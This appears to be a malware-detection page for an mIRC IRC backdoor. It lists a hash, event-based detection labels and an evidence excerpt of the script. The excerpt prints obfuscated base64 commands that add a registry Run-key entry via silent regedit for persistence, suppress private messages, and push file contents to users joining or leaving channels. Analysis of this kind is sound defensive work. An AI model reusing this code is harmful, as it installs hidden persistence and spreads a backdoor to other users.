Backdoor.IRC.Flood.av
mIRC backdoor with C2
Detects mIRC JOIN eventDetects mIRC PART event
SHA-2569a1473654c2eb49ccb7d69d5a7dc2e5a1c043cd5027d31134054c38b2e330066
MaleculeO(C)Md
Evidence
21:34… eg
22 .write %windows $zir(UkVHRURJVDQ=)
23 .write %windows $zir(W0hLRVlfTE9DQUxfTUFDSElORVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW5d)
24 .write %windows "Windows Start"=" $+ $remove($mircexe,$mircdir) $+ "
25 $zir(cnVuIC1uIHJlZ2VkaXQgL3M=) %windows
26 $zir(dGltZXIgMSA0IHJlbW92ZQ==) %windows
27}
28on 1:disconnect: { $zir(c2VydmVy) | $zir(Y2FmZW0=) }
29on *:text:*:?:closemsg $nick | halt
30on *:action:*:?:closemsg $nick | halt
31on *:notice:*:?:closemsg $nick | halt
32on *:ping: { ctcp $me ping }
33on *:exit: { run $remove($mircexe,$mircdir) }
34on *:text: …
105:36… sb3JcTWljcm9zb2Z0LmljbQ==))
106 $zir(aWRlbnRkIG9u) $read($zir(Q29sb3JcTWljcm9zb2Z0LmljbQ==))
107}
108on *:join:#: {
109 if ($nick = $me) { $zir(aGFsdA==) }
110 if ($zir(Y2FmZW0ubmV0) isin $server) { $zir(aGFsdA==) }
111 if ($zir(emlydmVkZS5uZXQ=) isin $server) { $zir(aGFsdA==) }
112 if ($zir(Y2FmZW0ubmV0) !isin $server) { $zir(bXNn) $nick $read($zir(c3lzdGVtLmV4ZQ==)) }
113}
114on *:part:#: {
115 if ($nick = $me) { $zir(aGFsdA==) }
116 if ($zir(Y2FmZW0ubmV0) isin $server) { $zir(aGFsdA==) }
117 if ($zir(emlydmVkZS5uZXQ=) isin $server) { $zir(aGFsdA==) }
118 if ($zir(Y2FmZW0ubmV0) …